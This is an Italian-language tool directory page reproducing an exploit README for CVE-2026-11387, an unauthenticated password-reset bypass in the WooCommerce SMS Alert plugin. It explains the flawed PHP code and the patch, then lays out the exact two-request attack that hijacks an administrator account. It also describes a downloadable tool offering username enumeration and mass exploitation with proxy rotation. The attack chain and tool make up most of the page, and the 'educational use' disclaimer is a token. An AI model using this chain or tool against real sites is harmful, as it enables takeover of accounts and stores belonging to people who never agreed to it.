Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-11387 — Prova di concetto per CVE-2026-11387, una vulnerabilità di escalation dei privilegi non autenticata nel plugin WooCommerce SMS Alert tramite bypass OTP e reset arbitrario della password. | Kitploit
Strumenti/GitHubGitHub/1beelze/cve-2026-11387
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazione
GitHub1beelze/cve-2026-11387

CVE-2026-11387

Prova di concetto per CVE-2026-11387, una vulnerabilità di escalation dei privilegi non autenticata nel plugin WooCommerce SMS Alert tramite bypass OTP e reset arbitrario della password.

Vedi Repository
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ Escalatazione dei Privilegi non autenticata tramite Reset della Password Arbitrario ☆
=== Beelze ===


📋 Informazioni sulla Vulnerabilità

CampoDettagli
CVE IDCVE-2026-11387
Punteggio CVSS9.8 Critical
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TipoAutenticazione Mancante / Bypass OTP
PluginSMS Alert – OTP Verification for WooCommerce (sms-alert)
Affetto≤ 3.9.5
Patchato3.9.6
Pubblicato2026
PoCBeelze

🔍 Descrizione

SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 è vulnerabile a Escalatazione dei Privilegi non autenticata tramite reset arbitrario della password. L'handler di reset della password del plugin valida l'azione di reset esclusivamente controllando $_REQUEST['option'] per la stringa smsalert-change-password-form, senza verificare che la sfida OTP sia mai stata completata.

Una critica condizione di gara nel meccanismo di seeding della sessione permette a un attaccante di dirottare qualsiasi account in due richieste HTTP:

  1. POST al modulo di password dimenticata con un user_login target — questo attiva smsalert_site_challenge_otp() che imposta $_SESSION['user_login'] senza che alcun OTP sia stato validato.
  2. POST con option=smsalert-change-password-form e una nuova password scelta — routeData() legge il $_SESSION['user_login'] già impostato e chiama reset_password() incondizionatamente.
  3. Login con le nuove credenziali — presa di controllo dell'account confermata.
  4. L'attacco non richiede autenticazione, né OTP, né alcuna interazione da parte della vittima.
  5. Qualsiasi account WordPress — incluso amministratore — può essere preso di controllo se l'utente target ha un numero di telefono di fatturazione registrato in WooCommerce.

Impatto: Presa di controllo completa di qualsiasi utente il cui telefono di fatturazione sia registrato. L'attaccante ottiene accesso persistente con il ruolo e i privilegi della vittima.


🧬 Analisi della Causa Radice

1. Registrazione hook AJAX senza privilegi

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. La sfida OTP imposta la sessione senza validazione

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] viene impostato QUI — prima della verifica OTP
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NON 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() controlla solo $_REQUEST['option'] — nessun guardia sullo stato della sessione

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MANCANTE: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() esegue incondizionatamente usando la sessione pre-impostata

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // avvelenato da smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password cambiata — nessun OTP richiesto
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. Patch nella 3.9.6 — aggiunta guardia sullo stato della sessione

root@kitploit:~
// handler/forms/class-wpresetpassword.php (corretto)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ CORRETTO: L'OTP deve essere validato prima di permettere il reset
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ Catena di Attacco

root@kitploit:~
Attaccante (nessuna autenticazione)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← sessione avvelenata 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP inviato al telefono della vittima│
│  (l'attaccante non vede mai l'OTP)      │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → controlla solo $_REQUEST['option']   │
│  → controllo SESSION_VAR: SALTATO ❌    │
│  → reset_password() chiamata            │
│  → wp_set_password('admin', newpwd)     │  ← password cambiata 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login RIUSCITO                         │
│  cookie wordpress_logged_in_* impostato │  ← PRESA DI CONTROLLO CONFERMATA 💀
└─────────────────────────────────────────┘

🛠️ Strumenti

CVE-2026-11387.py — Catena di Sfruttamento Completa

root@kitploit:~
# Sfruttamento singolo target
python CVE-2026-11387.py
# → Modalità 1, inserisci URL target + nome utente

# Solo enumerazione nomi utente
python CVE-2026-11387.py
# → Modalità 2

# Sfruttamento di massa (multi-thread + rotazione proxy)
python CVE-2026-11387.py
# → Modalità 3, targets.txt, thread, file proxy

# Solo fingerprint (nessuno sfruttamento)
python CVE-2026-11387.py
# → Modalità 4, output CSV
root@kitploit:~
Fasi dello sfruttamento:
  Fase 1 — Controllo raggiungibilità + fallback HTTP
  Fase 2 — Fingerprint versione tramite readme.txt
  Fase 3 — Enumerazione nomi utente (API REST / sitemap / archivio autori)
  Fase 4 — Attivazione sfida OTP (avvelenamento sessione)
  Fase 5 — Reset password tramite bypass routeData()
  Fase 6 — Verifica login (cookie wordpress_logged_in_*)
root@kitploit:~
Esempio di output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 Mitigazione

Aggiorna SMS Alert alla versione 3.9.6 o successiva.


[Beelze] — solo per ricerca sulla sicurezza educativa e autorizzata

Scarica lo strumento